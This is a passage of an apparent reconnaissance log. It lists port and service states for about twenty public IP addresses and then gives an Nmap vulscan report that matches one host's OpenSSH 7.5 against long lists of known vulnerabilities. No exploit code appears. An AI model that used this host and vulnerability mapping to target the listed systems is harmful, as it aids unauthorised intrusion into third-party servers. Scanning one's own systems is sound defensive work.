  3023. 104.244.73.40 69 tcp tftp filtered
  3024. 104.244.73.40 69 udp tftp unknown
  3025. 104.244.73.40 88 tcp kerberos-sec filtered
  3026. 104.244.73.40 88 udp kerberos-sec unknown
  3027. 104.244.73.40 123 tcp ntp filtered
  3028. 104.244.73.40 123 udp ntp unknown
  3029. 104.244.73.40 137 tcp netbios-ns filtered
  3030. 104.244.73.40 137 udp netbios-ns unknown
  3031. 104.244.73.40 138 tcp netbios-dgm filtered
  3032. 104.244.73.40 138 udp netbios-dgm unknown
  3033. 104.244.73.40 139 tcp netbios-ssn filtered
  3034. 104.244.73.40 139 udp netbios-ssn unknown
  3035. 104.244.73.40 161 tcp snmp filtered
  3036. 104.244.73.40 161 udp snmp unknown
  3037. 104.244.73.40 162 tcp snmptrap filtered
  3038. 104.244.73.40 162 udp snmptrap unknown
  3039. 104.244.73.40 389 tcp ldap filtered
  3040. 104.244.73.40 389 udp ldap unknown
  3041. 104.244.73.40 520 tcp efs filtered
  3042. 104.244.73.40 520 udp route unknown
  3043. 104.244.73.40 2049 tcp nfs filtered
  3044. 104.244.73.40 2049 udp nfs unknown
  3045. 104.244.77.188 53 tcp domain filtered
  3046. 104.244.77.188 53 udp domain unknown
  3047. 104.244.77.188 67 tcp dhcps filtered
  3048. 104.244.77.188 67 udp dhcps unknown
  3049. 104.244.77.188 68 tcp dhcpc filtered
  3050. 104.244.77.188 68 udp dhcpc unknown
  3051. 104.244.77.188 69 tcp tftp filtered
  3052. 104.244.77.188 69 udp tftp unknown
  3053. 104.244.77.188 80 tcp http open nginx
  3054. 104.244.77.188 88 tcp kerberos-sec filtered
  3055. 104.244.77.188 88 udp kerberos-sec unknown
  3056. 104.244.77.188 123 tcp ntp filtered
  3057. 104.244.77.188 123 udp ntp unknown
  3058. 104.244.77.188 137 tcp netbios-ns filtered
  3059. 104.244.77.188 137 udp netbios-ns unknown
  3060. 104.244.77.188 138 tcp netbios-dgm filtered
  3061. 104.244.77.188 138 udp netbios-dgm unknown
  3062. 104.244.77.188 139 tcp netbios-ssn filtered
  3063. 104.244.77.188 139 udp netbios-ssn unknown
  3064. 104.244.77.188 161 tcp snmp filtered
  3065. 104.244.77.188 161 udp snmp unknown
  3066. 104.244.77.188 162 tcp snmptrap filtered
  3067. 104.244.77.188 162 udp snmptrap unknown
  3068. 104.244.77.188 389 tcp ldap filtered
  3069. 104.244.77.188 389 udp ldap unknown
  3070. 104.244.77.188 443 tcp ssl/http open nginx
  3071. 104.244.77.188 520 tcp efs filtered
  3072. 104.244.77.188 520 udp route unknown
  3073. 104.244.77.188 2049 tcp nfs filtered
  3074. 104.244.77.188 2049 udp nfs unknown
  3075. 104.244.77.188 5040 tcp unknown closed
  3076. 104.244.77.188 16001 tcp ssl/http open MiniServ 1.910 Webmin httpd
  3077. 104.244.77.188 16221 tcp closed
  3078. 104.244.77.188 23022 tcp closed
  3079. 104.244.77.188 32022 tcp ssh open OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 Ubuntu Linux; protocol 2.0
  3080. 130.0.236.227 22 tcp ssh open OpenSSH 7.4 protocol 2.0
  3081. 130.0.236.227 53 tcp domain closed
  3082. 130.0.236.227 53 udp domain unknown
  3083. 130.0.236.227 67 tcp dhcps closed
  3084. 130.0.236.227 67 udp dhcps unknown
  3085. 130.0.236.227 68 tcp dhcpc closed
  3086. 130.0.236.227 68 udp dhcpc unknown
  3087. 130.0.236.227 69 tcp tftp closed
  3088. 130.0.236.227 69 udp tftp unknown
  3089. 130.0.236.227 80 tcp http open nginx 1.16.1
  3090. 130.0.236.227 88 tcp kerberos-sec closed
  3091. 130.0.236.227 88 udp kerberos-sec unknown
  3092. 130.0.236.227 123 tcp ntp closed
  3093. 130.0.236.227 123 udp ntp unknown
  3094. 130.0.236.227 135 tcp msrpc filtered
  3095. 130.0.236.227 136 tcp profile filtered
  3096. 130.0.236.227 137 tcp netbios-ns filtered
  3097. 130.0.236.227 137 udp netbios-ns unknown
  3098. 130.0.236.227 138 tcp netbios-dgm filtered
  3099. 130.0.236.227 138 udp netbios-dgm unknown
  3100. 130.0.236.227 139 tcp netbios-ssn filtered
  3101. 130.0.236.227 139 udp netbios-ssn unknown
  3102. 130.0.236.227 161 tcp snmp closed
  3103. 130.0.236.227 161 udp snmp unknown
  3104. 130.0.236.227 162 tcp snmptrap closed
  3105. 130.0.236.227 162 udp snmptrap unknown
  3106. 130.0.236.227 389 tcp ldap closed
  3107. 130.0.236.227 389 udp ldap unknown
  3108. 130.0.236.227 445 tcp microsoft-ds filtered
  3109. 130.0.236.227 520 tcp efs closed
  3110. 130.0.236.227 520 udp route unknown
  3111. 130.0.236.227 2049 tcp nfs closed
  3112. 130.0.236.227 2049 udp nfs unknown
  3113. 130.0.236.227 11211 tcp memcache filtered
  3114. 149.56.17.122 53 tcp domain filtered
  3115. 149.56.17.122 53 udp domain unknown
  3116. 149.56.17.122 67 tcp dhcps filtered
  3117. 149.56.17.122 67 udp dhcps unknown
  3118. 149.56.17.122 68 tcp dhcpc filtered
  3119. 149.56.17.122 68 udp dhcpc unknown
  3120. 149.56.17.122 69 tcp tftp filtered
  3121. 149.56.17.122 69 udp tftp unknown
  3122. 149.56.17.122 88 tcp kerberos-sec filtered
  3123. 149.56.17.122 88 udp kerberos-sec unknown
  3124. 149.56.17.122 123 tcp ntp filtered
  3125. 149.56.17.122 123 udp ntp unknown
  3126. 149.56.17.122 137 tcp netbios-ns filtered
  3127. 149.56.17.122 137 udp netbios-ns unknown
  3128. 149.56.17.122 138 tcp netbios-dgm filtered
  3129. 149.56.17.122 138 udp netbios-dgm unknown
  3130. 149.56.17.122 139 tcp netbios-ssn filtered
  3131. 149.56.17.122 139 udp netbios-ssn unknown
  3132. 149.56.17.122 161 tcp snmp filtered
  3133. 149.56.17.122 161 udp snmp unknown
  3134. 149.56.17.122 162 tcp snmptrap filtered
  3135. 149.56.17.122 162 udp snmptrap unknown
  3136. 149.56.17.122 389 tcp ldap filtered
  3137. 149.56.17.122 389 udp ldap unknown
  3138. 149.56.17.122 520 tcp efs filtered
  3139. 149.56.17.122 520 udp route unknown
  3140. 149.56.17.122 2049 tcp nfs filtered
  3141. 149.56.17.122 2049 udp nfs unknown
  3142. 151.139.128.11 53 tcp domain filtered
  3143. 151.139.128.11 53 udp domain unknown
  3144. 151.139.128.11 67 tcp dhcps filtered
  3145. 151.139.128.11 67 udp dhcps unknown
  3146. 151.139.128.11 68 tcp dhcpc filtered
  3147. 151.139.128.11 68 udp dhcpc unknown
  3148. 151.139.128.11 69 tcp tftp filtered
  3149. 151.139.128.11 69 udp tftp unknown
  3150. 151.139.128.11 80 tcp http open
  3151. 151.139.128.11 88 tcp kerberos-sec filtered
  3152. 151.139.128.11 88 udp kerberos-sec unknown
  3153. 151.139.128.11 123 tcp ntp filtered
  3154. 151.139.128.11 123 udp ntp unknown
  3155. 151.139.128.11 137 tcp netbios-ns filtered
  3156. 151.139.128.11 137 udp netbios-ns unknown
  3157. 151.139.128.11 138 tcp netbios-dgm filtered
  3158. 151.139.128.11 138 udp netbios-dgm unknown
  3159. 151.139.128.11 139 tcp netbios-ssn filtered
  3160. 151.139.128.11 139 udp netbios-ssn unknown
  3161. 151.139.128.11 161 tcp snmp filtered
  3162. 151.139.128.11 161 udp snmp unknown
  3163. 151.139.128.11 162 tcp snmptrap filtered
  3164. 151.139.128.11 162 udp snmptrap unknown
  3165. 151.139.128.11 389 tcp ldap filtered
  3166. 151.139.128.11 389 udp ldap unknown
  3167. 151.139.128.11 443 tcp ssl/https open
  3168. 151.139.128.11 520 tcp efs filtered
  3169. 151.139.128.11 520 udp route unknown
  3170. 151.139.128.11 2049 tcp nfs filtered
  3171. 151.139.128.11 2049 udp nfs unknown
  3172. 158.69.13.248 22 tcp ssh open
  3173. 158.69.13.248 53 tcp domain open unknown banner: get lost
  3174. 158.69.13.248 53 udp domain open unknown banner: get lost
  3175. 158.69.13.248 67 tcp dhcps filtered
  3176. 158.69.13.248 67 udp dhcps unknown
  3177. 158.69.13.248 68 tcp dhcpc filtered
  3178. 158.69.13.248 68 udp dhcpc unknown
  3179. 158.69.13.248 69 tcp tftp filtered
  3180. 158.69.13.248 69 udp tftp unknown
  3181. 158.69.13.248 88 tcp kerberos-sec filtered
  3182. 158.69.13.248 88 udp kerberos-sec unknown
  3183. 158.69.13.248 123 tcp ntp filtered
  3184. 158.69.13.248 123 udp ntp unknown
  3185. 158.69.13.248 137 tcp netbios-ns filtered
  3186. 158.69.13.248 137 udp netbios-ns unknown
  3187. 158.69.13.248 138 tcp netbios-dgm filtered
  3188. 158.69.13.248 138 udp netbios-dgm unknown
  3189. 158.69.13.248 139 tcp netbios-ssn filtered
  3190. 158.69.13.248 139 udp netbios-ssn unknown
  3191. 158.69.13.248 161 tcp snmp filtered
  3192. 158.69.13.248 161 udp snmp unknown
  3193. 158.69.13.248 162 tcp snmptrap filtered
  3194. 158.69.13.248 162 udp snmptrap unknown
  3195. 158.69.13.248 389 tcp ldap filtered
  3196. 158.69.13.248 389 udp ldap unknown
  3197. 158.69.13.248 520 tcp efs filtered
  3198. 158.69.13.248 520 udp route unknown
  3199. 158.69.13.248 2049 tcp nfs filtered
  3200. 158.69.13.248 2049 udp nfs unknown
  3201. 164.77.92.13 21 tcp ftp open 220 (vsFTPd 2.2.2)\x0d\x0a
  3202. 164.77.92.13 53 tcp domain filtered
  3203. 164.77.92.13 53 udp domain unknown
  3204. 164.77.92.13 67 tcp dhcps filtered
  3205. 164.77.92.13 67 udp dhcps unknown
  3206. 164.77.92.13 68 tcp dhcpc filtered
  3207. 164.77.92.13 68 udp dhcpc unknown
  3208. 164.77.92.13 69 tcp tftp filtered
  3209. 164.77.92.13 69 udp tftp unknown
  3210. 164.77.92.13 88 tcp kerberos-sec filtered
  3211. 164.77.92.13 88 udp kerberos-sec unknown
  3212. 164.77.92.13 123 tcp ntp filtered
  3213. 164.77.92.13 123 udp ntp unknown
  3214. 164.77.92.13 137 tcp netbios-ns filtered
  3215. 164.77.92.13 137 udp netbios-ns unknown
  3216. 164.77.92.13 138 tcp netbios-dgm filtered
  3217. 164.77.92.13 138 udp netbios-dgm unknown
  3218. 164.77.92.13 139 tcp netbios-ssn filtered
  3219. 164.77.92.13 139 udp netbios-ssn unknown
  3220. 164.77.92.13 161 tcp snmp filtered
  3221. 164.77.92.13 161 udp snmp unknown
  3222. 164.77.92.13 162 tcp snmptrap filtered
  3223. 164.77.92.13 162 udp snmptrap unknown
  3224. 164.77.92.13 389 tcp ldap filtered
  3225. 164.77.92.13 389 udp ldap unknown
  3226. 164.77.92.13 520 tcp efs filtered
  3227. 164.77.92.13 520 udp route unknown
  3228. 164.77.92.13 2049 tcp nfs filtered
  3229. 164.77.92.13 2049 udp nfs unknown
  3230. 166.62.109.86 22 tcp ssh open OpenSSH 7.5 protocol 2.0
  3231. 166.62.109.86 53 tcp domain filtered
  3232. 166.62.109.86 53 udp domain unknown
  3233. 166.62.109.86 67 tcp dhcps filtered
  3234. 166.62.109.86 67 udp dhcps unknown
  3235. 166.62.109.86 68 tcp dhcpc filtered
  3236. 166.62.109.86 68 udp dhcpc unknown
  3237. 166.62.109.86 69 tcp tftp filtered
  3238. 166.62.109.86 69 udp tftp unknown
  3239. 166.62.109.86 80 tcp http-proxy open HAProxy http proxy 1.3.1 or later
  3240. 166.62.109.86 88 tcp kerberos-sec filtered
  3241. 166.62.109.86 88 udp kerberos-sec unknown
  3242. 166.62.109.86 123 tcp ntp filtered
  3243. 166.62.109.86 123 udp ntp unknown
  3244. 166.62.109.86 137 tcp netbios-ns filtered
  3245. 166.62.109.86 137 udp netbios-ns unknown
  3246. 166.62.109.86 138 tcp netbios-dgm filtered
  3247. 166.62.109.86 138 udp netbios-dgm unknown
  3248. 166.62.109.86 139 tcp netbios-ssn filtered
  3249. 166.62.109.86 139 udp netbios-ssn unknown
  3250. 166.62.109.86 161 tcp snmp filtered
  3251. 166.62.109.86 161 udp snmp unknown
  3252. 166.62.109.86 162 tcp snmptrap filtered
  3253. 166.62.109.86 162 udp snmptrap unknown
  3254. 166.62.109.86 389 tcp ldap filtered
  3255. 166.62.109.86 389 udp ldap unknown
  3256. 166.62.109.86 443 tcp ssl/https open openresty
  3257. 166.62.109.86 520 tcp efs filtered
  3258. 166.62.109.86 520 udp route unknown
  3259. 166.62.109.86 2049 tcp nfs filtered
  3260. 166.62.109.86 2049 udp nfs unknown
  3261. 170.246.173.5 21 tcp ftp open Pure-FTPd
  3262. 170.246.173.5 22 tcp ssh open OpenSSH 5.3 protocol 2.0
  3263. 170.246.173.5 25 tcp smtp open
  3264. 170.246.173.5 53 udp domain unknown
  3265. 170.246.173.5 67 udp dhcps unknown
  3266. 170.246.173.5 68 udp dhcpc unknown
  3267. 170.246.173.5 69 udp tftp unknown
  3268. 170.246.173.5 80 tcp http open Apache httpd
  3269. 170.246.173.5 88 udp kerberos-sec unknown
  3270. 170.246.173.5 110 tcp pop3 open Dovecot pop3d
  3271. 170.246.173.5 123 udp ntp unknown
  3272. 170.246.173.5 137 udp netbios-ns unknown
  3273. 170.246.173.5 138 udp netbios-dgm unknown
  3274. 170.246.173.5 139 udp netbios-ssn unknown
  3275. 170.246.173.5 143 tcp imap open Dovecot imapd
  3276. 170.246.173.5 161 udp snmp unknown
  3277. 170.246.173.5 162 udp snmptrap unknown
  3278. 170.246.173.5 389 udp ldap unknown
  3279. 170.246.173.5 443 tcp ssl/http open Apache httpd
  3280. 170.246.173.5 465 tcp ssl/smtp open Exim smtpd 4.93
  3281. 170.246.173.5 520 udp route unknown
  3282. 170.246.173.5 587 tcp smtp open Exim smtpd 4.93
  3283. 170.246.173.5 993 tcp ssl/imaps open
  3284. 170.246.173.5 995 tcp ssl/pop3s open
  3285. 170.246.173.5 2049 udp nfs unknown
  3286. 185.35.79.72 53 tcp domain filtered
  3287. 185.35.79.72 53 udp domain unknown
  3288. 185.35.79.72 67 tcp dhcps filtered
  3289. 185.35.79.72 67 udp dhcps unknown
  3290. 185.35.79.72 68 tcp dhcpc filtered
  3291. 185.35.79.72 68 udp dhcpc unknown
  3292. 185.35.79.72 69 tcp tftp filtered
  3293. 185.35.79.72 69 udp tftp unknown
  3294. 185.35.79.72 88 tcp kerberos-sec filtered
  3295. 185.35.79.72 88 udp kerberos-sec unknown
  3296. 185.35.79.72 123 tcp ntp filtered
  3297. 185.35.79.72 123 udp ntp unknown
  3298. 185.35.79.72 137 tcp netbios-ns filtered
  3299. 185.35.79.72 137 udp netbios-ns unknown
  3300. 185.35.79.72 138 tcp netbios-dgm filtered
  3301. 185.35.79.72 138 udp netbios-dgm unknown
  3302. 185.35.79.72 139 tcp netbios-ssn filtered
  3303. 185.35.79.72 139 udp netbios-ssn unknown
  3304. 185.35.79.72 161 tcp snmp filtered
  3305. 185.35.79.72 161 udp snmp unknown
  3306. 185.35.79.72 162 tcp snmptrap filtered
  3307. 185.35.79.72 162 udp snmptrap unknown
  3308. 185.35.79.72 389 tcp ldap filtered
  3309. 185.35.79.72 389 udp ldap unknown
  3310. 185.35.79.72 520 tcp efs filtered
  3311. 185.35.79.72 520 udp route unknown
  3312. 185.35.79.72 2049 tcp nfs filtered
  3313. 185.35.79.72 2049 udp nfs unknown
  3314. 190.97.167.120 22 tcp ssh open OpenSSH 7.4 protocol 2.0
  3315. 190.97.167.120 53 tcp domain closed
  3316. 190.97.167.120 53 udp domain unknown
  3317. 190.97.167.120 67 tcp dhcps closed
  3318. 190.97.167.120 67 udp dhcps unknown
  3319. 190.97.167.120 68 tcp dhcpc closed
  3320. 190.97.167.120 68 udp dhcpc unknown
  3321. 190.97.167.120 69 tcp tftp closed
  3322. 190.97.167.120 69 udp tftp unknown
  3323. 190.97.167.120 80 tcp http open nginx 1.16.1
  3324. 190.97.167.120 88 tcp kerberos-sec closed
  3325. 190.97.167.120 88 udp kerberos-sec unknown
  3326. 190.97.167.120 111 tcp rpcbind open 2-4 RPC #100000
  3327. 190.97.167.120 123 tcp ntp closed
  3328. 190.97.167.120 123 udp ntp unknown
  3329. 190.97.167.120 137 tcp netbios-ns closed
  3330. 190.97.167.120 137 udp netbios-ns unknown
  3331. 190.97.167.120 138 tcp netbios-dgm closed
  3332. 190.97.167.120 138 udp netbios-dgm unknown
  3333. 190.97.167.120 139 tcp netbios-ssn closed
  3334. 190.97.167.120 139 udp netbios-ssn unknown
  3335. 190.97.167.120 161 tcp snmp closed
  3336. 190.97.167.120 161 udp snmp unknown
  3337. 190.97.167.120 162 tcp snmptrap closed
  3338. 190.97.167.120 162 udp snmptrap unknown
  3339. 190.97.167.120 389 tcp ldap closed
  3340. 190.97.167.120 389 udp ldap closed
  3341. 190.97.167.120 445 tcp microsoft-ds filtered
  3342. 190.97.167.120 520 tcp efs closed
  3343. 190.97.167.120 520 udp route unknown
  3344. 190.97.167.120 2049 tcp nfs closed
  3345. 190.97.167.120 2049 udp nfs unknown
  3346. 200.2.249.28 53 udp domain unknown
  3347. 200.2.249.28 67 udp dhcps unknown
  3348. 200.2.249.28 68 udp dhcpc unknown
  3349. 200.2.249.28 69 udp tftp unknown
  3350. 200.2.249.28 80 tcp http open Oracle Application Server 10g httpd 10.1.3.5.0
  3351. 200.2.249.28 88 udp kerberos-sec unknown
  3352. 200.2.249.28 123 udp ntp unknown
  3353. 200.2.249.28 137 udp netbios-ns unknown
  3354. 200.2.249.28 138 udp netbios-dgm unknown
  3355. 200.2.249.28 139 udp netbios-ssn unknown
  3356. 200.2.249.28 161 udp snmp unknown
  3357. 200.2.249.28 162 udp snmptrap unknown
  3358. 200.2.249.28 389 udp ldap unknown
  3359. 200.2.249.28 520 udp route unknown
  3360. 200.2.249.28 2049 udp nfs unknown
  3361. 200.2.249.28 8008 tcp http open
  3362. 200.68.34.99 53 tcp domain filtered
  3363. 200.68.34.99 53 udp domain unknown
  3364. 200.68.34.99 67 tcp dhcps filtered
  3365. 200.68.34.99 67 udp dhcps unknown
  3366. 200.68.34.99 68 tcp dhcpc filtered
  3367. 200.68.34.99 68 udp dhcpc unknown
  3368. 200.68.34.99 69 tcp tftp filtered
  3369. 200.68.34.99 69 udp tftp unknown
  3370. 200.68.34.99 88 tcp kerberos-sec filtered
  3371. 200.68.34.99 88 udp kerberos-sec unknown
  3372. 200.68.34.99 123 tcp ntp filtered
  3373. 200.68.34.99 123 udp ntp unknown
  3374. 200.68.34.99 137 tcp netbios-ns filtered
  3375. 200.68.34.99 137 udp netbios-ns unknown
  3376. 200.68.34.99 138 tcp netbios-dgm filtered
  3377. 200.68.34.99 138 udp netbios-dgm unknown
  3378. 200.68.34.99 139 tcp netbios-ssn filtered
  3379. 200.68.34.99 139 udp netbios-ssn unknown
  3380. 200.68.34.99 161 tcp snmp filtered
  3381. 200.68.34.99 161 udp snmp unknown
  3382. 200.68.34.99 162 tcp snmptrap filtered
  3383. 200.68.34.99 162 udp snmptrap unknown
  3384. 200.68.34.99 389 tcp ldap filtered
  3385. 200.68.34.99 389 udp ldap unknown
  3386. 200.68.34.99 520 tcp efs filtered
  3387. 200.68.34.99 520 udp route unknown
  3388. 200.68.34.99 2049 tcp nfs filtered
  3389. 200.68.34.99 2049 udp nfs unknown
  3390. 200.73.54.34 53 tcp domain filtered
  3391. 200.73.54.34 53 udp domain unknown
  3392. 200.73.54.34 67 tcp dhcps filtered
  3393. 200.73.54.34 67 udp dhcps unknown
  3394. 200.73.54.34 68 tcp dhcpc filtered
  3395. 200.73.54.34 68 udp dhcpc unknown
  3396. 200.73.54.34 69 tcp tftp filtered
  3397. 200.73.54.34 69 udp tftp unknown
  3398. 200.73.54.34 88 tcp kerberos-sec filtered
  3399. 200.73.54.34 88 udp kerberos-sec unknown
  3400. 200.73.54.34 123 tcp ntp filtered
  3401. 200.73.54.34 123 udp ntp unknown
  3402. 200.73.54.34 137 tcp netbios-ns filtered
  3403. 200.73.54.34 137 udp netbios-ns unknown
  3404. 200.73.54.34 138 tcp netbios-dgm filtered
  3405. 200.73.54.34 138 udp netbios-dgm unknown
  3406. 200.73.54.34 139 tcp netbios-ssn filtered
  3407. 200.73.54.34 139 udp netbios-ssn unknown
  3408. 200.73.54.34 161 tcp snmp filtered
  3409. 200.73.54.34 161 udp snmp unknown
  3410. 200.73.54.34 162 tcp snmptrap filtered
  3411. 200.73.54.34 162 udp snmptrap unknown
  3412. 200.73.54.34 389 tcp ldap filtered
  3413. 200.73.54.34 389 udp ldap unknown
  3414. 200.73.54.34 520 tcp efs filtered
  3415. 200.73.54.34 520 udp route unknown
  3416. 200.73.54.34 2049 tcp nfs filtered
  3417. 200.73.54.34 2049 udp nfs unknown
  3418. #####################################################################################################################################
  3419. Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 17:37 EDT
  3420. Nmap scan report for ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  3421. Host is up (0.27s latency).
  3422. Not shown: 997 filtered ports
  3423. PORT STATE SERVICE VERSION
  3424. 22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
  3425. | vulscan: VulDB - https://vuldb.com:
  3426. | [108627] OpenSSH up to 7.5 Readonly Mode sftp-server.c process_open unknown vulnerability
  3427. | [130671] gsi-openssh-server 7.9p1 on Fedora /etc/gsissh/sshd_config weak authentication
  3428. | [130371] OpenSSH 7.9 scp Man-in-the-Middle directory traversal
  3429. | [130370] OpenSSH 7.9 Man-in-the-Middle spoofing
  3430. | [130369] OpenSSH 7.9 Encoding progressmeter.c refresh_progress_meter() spoofing
  3431. | [129007] OpenSSH 7.9 scp Client scp.c Filename privilege escalation
  3432. | [123343] OpenSSH up to 7.8 GSS2 auth-gss2.c information disclosure
  3433. | [123011] OpenSSH up to 7.7 auth2-gss.c Request information disclosure
  3434. | [112267] OpenSSH up to 7.3 sshd kex.c/packet.c NEWKEYS Message denial of service
  3435. | [94611] OpenSSH up to 7.3 Access Control privilege escalation
  3436. | [94610] OpenSSH up to 7.3 Shared Memory Manager privilege escalation
  3437. | [94608] OpenSSH up to 7.3 Unix-Domain Socket privilege escalation
  3438. | [94607] OpenSSH up to 7.3 Forwarded Agent Channel privilege escalation
  3439. | [90671] OpenSSH up to 7.2 auth-passwd.c auth_password denial of service
  3440. | [90405] OpenSSH up to 7.2p2 sshd information disclosure
  3441. | [90404] OpenSSH up to 7.2p2 sshd information disclosure
  3442. | [90403] OpenSSH up to 7.2p2 sshd CPU Exhaustion denial of service
  3443. | [89622] OpenSSH 7.2p2 Authentication Username information disclosure
  3444. | [81320] OpenSSH up to 7.2p1 X11 Authentication Credential xauth privilege escalation
  3445. | [80656] OpenBSD OpenSSH 7.1 X11 Forwarding privilege escalation
  3446. | [80330] OpenSSH up to 7.1p1 packet.c ssh_packet_read_poll2 memory corruption
  3447. |
  3448. | MITRE CVE - https://cve.mitre.org:
  3449. | [CVE-2010-4755] The (1) remote_glob function in sftp-glob.c and the (2) process_put function in sftp.c in OpenSSH 5.8 and earlier, as used in FreeBSD 7.3 and 8.1, NetBSD 5.0.2, OpenBSD 4.7, and other products, allow remote authenticated users to cause a denial of service (CPU and memory consumption) via crafted glob expressions that do not match any pathnames, as demonstrated by glob expressions in SSH_FXP_STAT requests to an sftp daemon, a different vulnerability than CVE-2010-2632.
  3450. | [CVE-1999-0661] A system is running a version of software that was replaced with a Trojan Horse at one of its distribution points, such as (1) TCP Wrappers 7.6, (2) util-linux 2.9g, (3) wuarchive ftpd (wuftpd) 2.2 and 2.1f, (4) IRC client (ircII) ircII 2.2.9, (5) OpenSSH 3.4p1, or (6) Sendmail 8.12.6.
  3451. |
  3452. | SecurityFocus - https://www.securityfocus.com/bid/:
  3453. | [102780] OpenSSH CVE-2016-10708 Multiple Denial of Service Vulnerabilities
  3454. | [101552] OpenSSH 'sftp-server.c' Remote Security Bypass Vulnerability
  3455. | [94977] OpenSSH CVE-2016-10011 Local Information Disclosure Vulnerability
  3456. | [94975] OpenSSH CVE-2016-10012 Security Bypass Vulnerability
  3457. | [94972] OpenSSH CVE-2016-10010 Privilege Escalation Vulnerability
  3458. | [94968] OpenSSH CVE-2016-10009 Remote Code Execution Vulnerability
  3459. | [93776] OpenSSH 'ssh/kex.c' Denial of Service Vulnerability
  3460. | [92212] OpenSSH CVE-2016-6515 Denial of Service Vulnerability
  3461. | [92210] OpenSSH CBC Padding Weak Encryption Security Weakness
  3462. | [92209] OpenSSH MAC Verification Security Bypass Vulnerability
  3463. | [91812] OpenSSH CVE-2016-6210 User Enumeration Vulnerability
  3464. | [90440] OpenSSH CVE-2004-1653 Remote Security Vulnerability
  3465. | [90340] OpenSSH CVE-2004-2760 Remote Security Vulnerability
  3466. | [89385] OpenSSH CVE-2005-2666 Local Security Vulnerability
  3467. | [88655] OpenSSH CVE-2001-1382 Remote Security Vulnerability
  3468. | [88513] OpenSSH CVE-2000-0999 Remote Security Vulnerability
  3469. | [88367] OpenSSH CVE-1999-1010 Local Security Vulnerability
  3470. | [87789] OpenSSH CVE-2003-0682 Remote Security Vulnerability
  3471. | [86187] OpenSSH 'session.c' Local Security Bypass Vulnerability
  3472. | [86144] OpenSSH CVE-2007-2768 Remote Security Vulnerability
  3473. | [84427] OpenSSH CVE-2016-1908 Security Bypass Vulnerability
  3474. | [84314] OpenSSH CVE-2016-3115 Remote Command Injection Vulnerability
  3475. | [84185] OpenSSH CVE-2006-4925 Denial-Of-Service Vulnerability
  3476. | [81293] OpenSSH CVE-2016-1907 Denial of Service Vulnerability
  3477. | [80698] OpenSSH CVE-2016-0778 Heap Based Buffer Overflow Vulnerability
  3478. | [80695] OpenSSH CVE-2016-0777 Information Disclosure Vulnerability
  3479. | [76497] OpenSSH CVE-2015-6565 Local Security Bypass Vulnerability
  3480. | [76317] OpenSSH PAM Support Multiple Remote Code Execution Vulnerabilities
  3481. | [75990] OpenSSH Login Handling Security Bypass Weakness
  3482. | [75525] OpenSSH 'x11_open_helper()' Function Security Bypass Vulnerability
  3483. | [71420] Portable OpenSSH 'gss-serv-krb5.c' Security Bypass Vulnerability
  3484. | [68757] OpenSSH Multiple Remote Denial of Service Vulnerabilities
  3485. | [66459] OpenSSH Certificate Validation Security Bypass Vulnerability
  3486. | [66355] OpenSSH 'child_set_env()' Function Security Bypass Vulnerability
  3487. | [65674] OpenSSH 'ssh-keysign.c' Local Information Disclosure Vulnerability
  3488. | [65230] OpenSSH 'schnorr.c' Remote Memory Corruption Vulnerability
  3489. | [63605] OpenSSH 'sshd' Process Remote Memory Corruption Vulnerability
  3490. | [61286] OpenSSH Remote Denial of Service Vulnerability
  3491. | [58894] GSI-OpenSSH PAM_USER Security Bypass Vulnerability
  3492. | [58162] OpenSSH CVE-2010-5107 Denial of Service Vulnerability
  3493. | [54114] OpenSSH 'ssh_gssapi_parse_ename()' Function Denial of Service Vulnerability
  3494. | [51702] Debian openssh-server Forced Command Handling Information Disclosure Vulnerability
  3495. | [50416] Linux Kernel 'kdump' and 'mkdumprd' OpenSSH Integration Remote Information Disclosure Vulnerability
  3496. | [49473] OpenSSH Ciphersuite Specification Information Disclosure Weakness
  3497. | [48507] OpenSSH 'pam_thread()' Remote Buffer Overflow Vulnerability
  3498. | [47691] Portable OpenSSH 'ssh-keysign' Local Unauthorized Access Vulnerability
  3499. | [46155] OpenSSH Legacy Certificate Signing Information Disclosure Vulnerability
  3500. | [45304] OpenSSH J-PAKE Security Bypass Vulnerability
  3501. | [36552] Red Hat Enterprise Linux OpenSSH 'ChrootDirectory' Option Local Privilege Escalation Vulnerability
  3502. | [32319] OpenSSH CBC Mode Information Disclosure Vulnerability
  3503. | [30794] Red Hat OpenSSH Backdoor Vulnerability
  3504. | [30339] OpenSSH 'X11UseLocalhost' X11 Forwarding Session Hijacking Vulnerability
  3505. | [30276] Debian OpenSSH SELinux Privilege Escalation Vulnerability
  3506. | [28531] OpenSSH ForceCommand Command Execution Weakness
  3507. | [28444] OpenSSH X Connections Session Hijacking Vulnerability
  3508. | [26097] OpenSSH LINUX_AUDIT_RECORD_EVENT Remote Log Injection Weakness
  3509. | [25628] OpenSSH X11 Cookie Local Authentication Bypass Vulnerability
  3510. | [23601] OpenSSH S/Key Remote Information Disclosure Vulnerability
  3511. | [20956] OpenSSH Privilege Separation Key Signature Weakness
  3512. | [20418] OpenSSH-Portable Existing Password Remote Information Disclosure Weakness
  3513. | [20245] OpenSSH-Portable GSSAPI Authentication Abort Information Disclosure Weakness
  3514. | [20241] Portable OpenSSH GSSAPI Remote Code Execution Vulnerability
  3515. | [20216] OpenSSH Duplicated Block Remote Denial of Service Vulnerability
  3516. | [16892] OpenSSH Remote PAM Denial Of Service Vulnerability
  3517. | [14963] OpenSSH LoginGraceTime Remote Denial Of Service Vulnerability
  3518. | [14729] OpenSSH GSSAPI Credential Disclosure Vulnerability
  3519. | [14727] OpenSSH DynamicForward Inadvertent GatewayPorts Activation Vulnerability
  3520. | [11781] OpenSSH-portable PAM Authentication Remote Information Disclosure Vulnerability
  3521. | [9986] RCP, OpenSSH SCP Client File Corruption Vulnerability
  3522. | [9040] OpenSSH PAM Conversation Memory Scrubbing Weakness
  3523. | [8677] Multiple Portable OpenSSH PAM Vulnerabilities
  3524. | [8628] OpenSSH Buffer Mismanagement Vulnerabilities
  3525. | [7831] OpenSSH Reverse DNS Lookup Access Control Bypass Vulnerability
  3526. | [7482] OpenSSH Remote Root Authentication Timing Side-Channel Weakness
  3527. | [7467] OpenSSH-portable Enabled PAM Delay Information Disclosure Vulnerability
  3528. | [7343] OpenSSH Authentication Execution Path Timing Information Leakage Weakness
  3529. | [6168] OpenSSH Visible Password Vulnerability
  3530. | [5374] OpenSSH Trojan Horse Vulnerability
  3531. | [5093] OpenSSH Challenge-Response Buffer Overflow Vulnerabilities
